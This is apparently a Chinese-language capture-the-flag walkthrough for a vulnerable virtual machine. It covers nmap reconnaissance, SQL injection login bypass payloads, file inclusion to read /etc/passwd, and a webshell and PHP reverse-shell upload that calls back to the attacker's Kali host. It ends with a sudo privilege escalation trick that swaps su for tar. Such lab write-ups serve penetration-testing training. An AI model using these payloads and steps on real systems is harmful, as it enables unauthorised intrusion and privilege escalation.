注意:下载成功后用vmware打开,跳出提示框请选择“我已移动该虚拟机”,然后设置为NAT模式,否则无法扫描到靶机!
一、信息收集
首先把靶机的网络适配器更改为NAT模式,与kali在同一模式,并记录MAC字段
步骤二:用kali开始扫描根据MAC字段地址发现靶机IP
nmap 192.168.93.0/24
再进行端口扫描发现端口,只开放了80端口
nmap 192.168.93.140 -p-
nmap -p22,80,8000 -sV 192.168.93.140
步骤三:漏洞扫描80端口发现了有关SQL注入、目录枚举、csrf、dos等漏洞,我们重点关注SQL注入、目录枚举等。
nmap --script=vuln -p80 192.168.93.140
步骤四:网站访问地址IP
遇到登录框,常规思路:弱口令/默认口令/SQL注入/CMS漏洞利用/敏感信息寻找/字典爆破。这个看起来也不是cms,像是程序员自己搭建的网站,试试SQL注入吧,先把用户名和密码都输入单引号'试试
直接报错了,而且报错信息是sql查询语句,可以看到这个sql查询语句对username字段的单引号进行了转义('),而password部分没有。因此
方式一:我们只要username随便输,password用万能密码即可登录:' or 1=1 #
方式二:因为SQL报错语句可知存在SQL注入漏洞,用sqlmap进行数据库的查询
进行登录抓包,并将请求包里的密码处标记为注入点,用sqlmap测试
在里面发现了文件上传的功能点,尝试上传功能点
上传之后发现两个可用信息,第一,文件上传之后的上传位置可能是用户的家目录,也就是/home/alamo,第二,alamo的权限不够,需要寻找更加高权限的用户。
要知道其他高权限用户,一个是通过查询/etc/passwd文件,一个是通过SQL注入查询数据库信息,要查询/etc/passwd文件就要通过文件包含漏洞来查看。
步骤三:文件包含漏洞利用
先去寻找文件包含,注意观察各个页面的url,发现只有参数page,尝试之后发现不行
找找是否存在POST型的参数,即存在文件包含漏洞的参数有可能存在于请求体中。那么重点关注的页面应该就是可以提交信息的页面,比如Security界面:
可以通过Burp抓包,也可以通过按F12查看网页源代码中元素的方式查看这个提交的参数:
将email文件名称改为/etc/passwd尝试一下
发现其他用户,尝试读取密码信息,发现失败,用SQL注入语句来登录
用户随便输,在密码中填写下面语句,逻辑就是(假and假)or真 = 真,果然成功登录了etenebaum的账户:
' or username='etenenbaum' #
再次上传文件,
二、获取shell
文件上传、文件解析漏洞利用
上传一句话木马
访问上传到的用户家目录下面/~etenenbaum/1.php,发现报错,显示权限被拒绝
可以在上传界面的一句话,可能需要上传一个gzip文件,因此我们需要把木马文件打包成gzip文件
打包gzip文件,需要用kali上面用tar命令压缩文件,我们进行反弹shell文件,
首先制作一个反弹shell文件
locate php-reverse #搜索kali里面的自带反弹shell文件
cp /usr/share/laudanum/php/php-reverse-shell.php /Dest 复制一份到桌面下面
vim对shell文件进行修改,修改反弹shell的ip和端口,ip设置为kali的ip,端口设置为1234:
用tar czf命令压缩
tar czf shell.tar.gz shell.php
将这个文件上传,并勾选gzip自解压的选项,访问家目录,点击解析,本机上解析不出的们可以在kali的浏览器里解析
kali监听
三、提权
先看当前用户是谁
然后用python提高交互性:
python -c "import pty;pty.spawn('/bin/bash')"
查看当前权限sudo -l
运行下面命令
sudo mv /bin/tar /bin/tar.orgi
sudo mv /bin/su /bin/tar
sudo tar